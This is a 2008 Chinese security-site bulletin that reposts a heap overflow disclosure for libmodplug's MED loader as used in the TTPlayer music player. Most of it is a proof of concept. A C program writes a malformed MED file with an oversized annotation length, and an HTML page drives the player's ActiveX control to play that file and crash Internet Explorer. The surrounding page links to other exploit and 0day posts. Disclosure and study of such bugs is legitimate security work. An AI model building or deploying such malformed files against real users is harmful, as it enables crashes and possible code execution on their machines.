文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
千千静听 med 文件格式堆溢出漏洞

www.hx99.org 阅读: 时间:2008-03-06 整理:华西黑盟
------------------------------------------------------------------
 

author: dummy
e-mail: dummyz@126.com
date: 2008/02/25

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。

下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
/*
libmodplug v0.8
load_med.cpp
BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
*/

/*
author: dummy
e-mail: dummyz@126.com

date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
DWORD id; // MMD1-MMD3
DWORD modlen; // Size of file
DWORD song; // Position in file for this song
WORD psecnum;
WORD pseq;
DWORD blockarr; // Position in file for blocks
DWORD mmdflags;
DWORD smplarr; // Position in file for samples
DWORD reserved;
DWORD expdata; // Absolute offset in file for ExpData (0 if not present)
DWORD reserved2;
WORD pstate;
WORD pblock;
WORD pline;
WORD pseqnum;
WORD actplayline;
BYTE counter;
BYTE extra_songs; // # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
WORD rep, replen;
BYTE midich;
BYTE midipreset;
BYTE svol;
signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
MMD0SAMPLE sample[63];
WORD numblocks; // # of blocks
WORD songlen; // # of entries used in playseq
BYTE playseq[256]; // Play sequence
WORD deftempo; // BPM tempo
signed char playtransp; // Play transpose
BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
BYTE tempo2; // tempo TPL
BYTE trkvol[16]; // track volumes
BYTE mastervol; // master volume
BYTE numsamples; // # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
DWORD nextmod; // File offset of next Hdr
DWORD exp_smp; // Pointer to extra instrument data
WORD s_ext_entries; // Number of extra instrument entries
WORD s_ext_entrsz; // Size of extra instrument data
DWORD annotxt;
DWORD annolen;
DWORD iinfo; // Instrument names
WORD i_ext_entries;
WORD i_ext_entrsz;
DWORD jumpmask;
DWORD rgbtable;
BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)
DWORD n_info;
DWORD songname; // Song name
DWORD songnamelen;
DWORD dumps;
DWORD mmdinfo;
DWORD mmdrexx;
DWORD mmdcmd3x;
DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists
DWORD effectinfo_ofs; // ptr to group ptrs
DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value. */
#ifdef __GNUC__
# define bswap_16(x) \
(__extension__ \
({ unsigned short int __bsx = (x); \
((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value. */
#ifdef __GNUC__
# define bswap_32(x) \
(__extension__ \
({ unsigned int __bsx = (x); \
((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

int main()
{
MEDMODULEHEADER mmh;
MMD0SONGHEADER msh;
MMD0EXP mex;
FILE* file;
long p;

memset(&mmh, 0, sizeof (mmh));
memset(&msh, 0, sizeof (msh));
memset(&mex, 0, sizeof (mex));

p = 0;

mmh.id = 0x30444D4D; // version = '0'

p += sizeof (MEDMODULEHEADER);
mmh.song = bswapBE32(p);

p += sizeof (MMD0SONGHEADER);
mmh.expdata = bswapBE32(p);

p += sizeof (MMD0EXP);
mex.annolen = bswapBE32(-1);
mex.annotxt = bswapBE32(p);

file = fopen("test.s3m", "wb+");
if ( file == NULL )
{
printf("create file failed!\n");
}
else
{
fwrite(&mmh, 1, sizeof (mmh), file);
fwrite(&msh, 1, sizeof (msh), file);
fwrite(&mex, 1, sizeof (mex), file);

while ( ftell(file) < 0x1000 )
{
fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
}

fclose(file);

printf("successed!\n");
}

return 0;
}

/*
最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。
*/

<html>
<body>
<OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
</OBJECT>
<INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
<SCRIPT LANGUAGE="JavaScript">
<!--
function Test()
{
var controls = ttp.controls;

ttp.URL = "http:\\127.0.0.1\\test.s3m";
controls.play();
}
//-->
</SCRIPT>
</body>
</html>

   -------------------------------------------------------------------------------------------
  上一篇:BitTorrent和uTorrent Peers 窗口缓冲区溢出漏洞
  下一篇:BBSXP论坛程序Members.asp页面过滤不严导致SQL注入漏洞
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
DVBBS 7.1.0 SP1博客远程
bbsxp上传注入漏洞
现代教务管理系统漏洞
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
沸腾新闻系统 V1.1 Access
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
oblog商业版本4.6注射漏洞
PHPWind论坛5.3版postuplo
百度超级搜霸远程代码执行
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
bo-blog2.0.3文件浏览漏洞
宁波都市网漏洞公告(通杀
Microsoft Internet Explo
乔客(joekoe) CMS 4.0 的2
雅虎窗件曝出缓冲区溢出漏
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号